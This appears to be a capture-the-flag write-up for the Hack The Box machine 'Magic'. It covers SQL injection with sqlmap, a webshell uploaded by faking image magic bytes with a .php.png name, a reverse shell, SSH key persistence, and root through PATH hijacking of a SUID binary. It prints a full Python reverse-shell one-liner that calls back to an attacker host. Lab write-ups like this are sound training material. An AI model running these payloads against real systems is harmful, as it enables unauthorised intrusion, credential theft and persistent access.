Information
Box#
- Name: Magic
- Profile: www.hackthebox.eu
- Difficulty: Medium
- OS: Linux
- Points: 30
Write-up
Overview#
TL;DR: SQLi, webshell upload with bypass, EoP via SUID tool using unsecured PATH.
Install tools used in this WU on BlackArch Linux:
1 | pacman -S nmap sqlmap haiti weevely metasploit pwncat |
Network enumeration#
With a nmap scan be can see only 2 open ports: 80 & 22.
1 | # Nmap 7.80 scan initiated Fri Jun 12 13:15:34 2020 as: nmap -sSVC -p- -oA nmap_full 10.10.10.185 |
HTTP Enumeration#
Quickly we found a few pages:
- http://10.10.10.185/index.php
- http://10.10.10.185/login.php
- http://10.10.10.185/upload.php (authenticated)
On the login page we can see we have a different behavior when we put of quote in the username or password and when not. So let's try a SQLi.
SQL Injection#
I used sqlmap to quickly identify the injection technique and automate the process.
1 | $ sqlmap -u http://10.10.10.185/login.php --method POST --data 'username=admin&password=password' --level 3 --risk 3 |
Nice we have 2 injection points for our OR boolean-based blind SQL injection.
Now I'll some options to get more information:
--current-user
->theseus@localhost
--current-db
->Magic
--hostname
->ubuntu
--is-dba
->False
--tables -D Magic
->login
-D Magic -T login --columns
->1
2
3
4
5
6
7+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(6) |
| password | varchar(100) |
| username | varchar(50) |
+----------+--------------+-D Magic -T login --dump
->1
2
3
4
5+------+----------+----------------+
| id | username | password |
+------+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+------+----------+----------------+
Note: We could have done a dump directly but that would have been dirty and far less efficient if there were more databases, tables, entries, etc. Also we probably didn't needed to dump the password, we could have just bypass the authentication. But the password may be reused somewhere else and there could have been more stuff in the DB.
File upload#
We are now redirected to the upload page.
Only jpg, jpeg and png extensions are allowed.
If we upload a legit image, we receive a message: The file hacker_logo.jpg has been uploaded.
.
Let's go back to the index to see if our logo is listed there.
The image is uploaded here: http://10.10.10.185/images/uploads/hacker_logo.jpg
And have a weird title: 14331a21
.
I check if it can be a digest with haiti:
1 | $ haiti 14331a21 |
The most probable option is CRC32.
So I tried to see if it could be the CRC32 of the filename with an online service.
But it seems not.
It could be the CRC32 of the file itself but before using more guessing let's upload the same file again with the same name to see if the title is not random.
It replaced the previous image but is now entitled 806a94c
.
So the title seems to be random, so no need to try to calculate it.
So let's see if we can simply bypass something to upload a PHP file.
I generated a weevely agent (PHP webshell):
1 | $ weevely generate noraj agentnoraj.php |
I tried to upload the shell without changing the Content-Type and just
changing the name to agentnoraj.php.png
and received the following message
that suggested I was spotted:
1 | What are you trying to do there? |
But changing the Content-Type from application/x-php
to application/x-php
didn't change anything.
The name Magic
is maybe because there is a magic bytes check and this message
is displayed when content type, extension and magic byte don't match.
Let's check the signature of jpeg and png:
1 | $ xxd -l 12 ~/Pictures/hacker_logo.jpg |
We can also check the list on Wikipedia because jpeg supports 2 other signatures.
We can store the signatures in files:
1 | $ echo -n "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a" > png_signature |
Then let's try to prepend the PNG signature to the webshell.
1 | $ cat png_signature agentnoraj.php > agent_png.png |
Let's upload again, this time we are not spotted. The image is successfully uploaded to http://10.10.10.185/images/uploads/agent_png.png but as it is served as a png, the PHP is not interpreted. Let's see if we send a png extension and a php Content-Type.
This is accepted too. But it is still served as a png. I'll try to put a php extension but I think we will be caught by the extension whitelist. Indeed we were spotted.
So let's try the double extension (.png.php
) -> spotted.
Let's try a null byte injection (.php\00.png
) even if I don't believe it will works.
It tells me 00.png
was uploaded (http://10.10.10.185/images/uploads/00.png)
but it's served as png. Let's see if agent_png.php
was created
(http://10.10.10.185/images/uploads/agent_png.php): no.
What if we try the double extension without null byte but in the other way (.php.png
).
It seems http://10.10.10.185/images/uploads/agent_png.php.png is interpreted as PHP!
Webshell#
1 | $ weevely terminal http://10.10.10.185/images/uploads/agent_png.php.png noraj |
The issue is that the webshell is removed a few seconds after being uploaded. So we'll have to use a PHP dropper to get a rverse shell immediately.
We could craft one with msfvenom
(from Metasploit) but weevely have a
bunch of useful modules like this one:
1 | www-data@ubuntu:/var/www/Magic/images/uploads $ :backdoor_reversetcp -h |
Note: for OSCP it's also good to know how to do without Metasploit.
I start a pwncat listener on my machine:
1 | $ pwncat -l 8888 |
Re-uploaded my webshell, executed it and launched the reverse shell module:
1 | weevely> :backdoor_reversetcp 10.10.15.18 8888 |
Nice, I have a true shell that I won't lost on my pwncat listener:
1 | $ pwncat -l 8888 |
Elevation of Privilege: www-data to theseus#
We can just connect by re-using the credentials we looted during the SQLi.
1 | $ python3 -c "import pty;pty.spawn('/bin/bash')" |
But there was another method for those who just used an authentication bypass instead of dumping the database.
Find the database credentials:
1 | theseus@ubuntu:/var/www/Magic/images/uploads$ ls ../.. |
And then dump the database:
1 | $ mysqldump --databases Magic -utheseus -piamkingtheseus |
And then log in with su
too.
Then let's loot the flag and copy the private key, so if the box is reset we can start back from here instead of playing with the reverse shell again.
1 | theseus@ubuntu:~$ cat user.txt |
.ssh/id_rsa
1 | -----BEGIN RSA PRIVATE KEY----- |
So we can login through SSH now:
1 | $ chmod 600 id_rsa |
Note: is you are denied it's because someone overwrote authorized_keys
with
it's personal key. So just append theseus public key:
1 | theseus@ubuntu:~$ cat .ssh/id_rsa.pub >> .ssh/authorized_keys |
PS: it seems the private key I used was not part of the box but generated by
another player, anyway you'll have to add a key to .ssh/authorized_keys
.
System enumeration#
Let's find binaries with SUID:
1 | theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null |
/bin/sysinfo
looks unusual:
1 | theseus@ubuntu:~$ ls -lh /bin/sysinfo |
Elevation of privilege: theseus to root#
If we run sysinfo
there are 4 sections that seems to match so other system
commands:
- Hardware Info:
lshw -short
- Disk Info:
fdisk -l
- CPU Info:
cat /proc/cpuinfo
- MEM Usage:
free -h
So basically what we have to do is change the PATH
env var to force the SUID
sysinfo
to call an attacker controlled binary instead of the system tools.
1 | $ mkdir /tmp/noraj |
Here is the reverse shell I put in fdisk
:
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.32",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
The we just have to run sysinfo
to get the root shell:
1 | $ pwncat -l 8888 -v |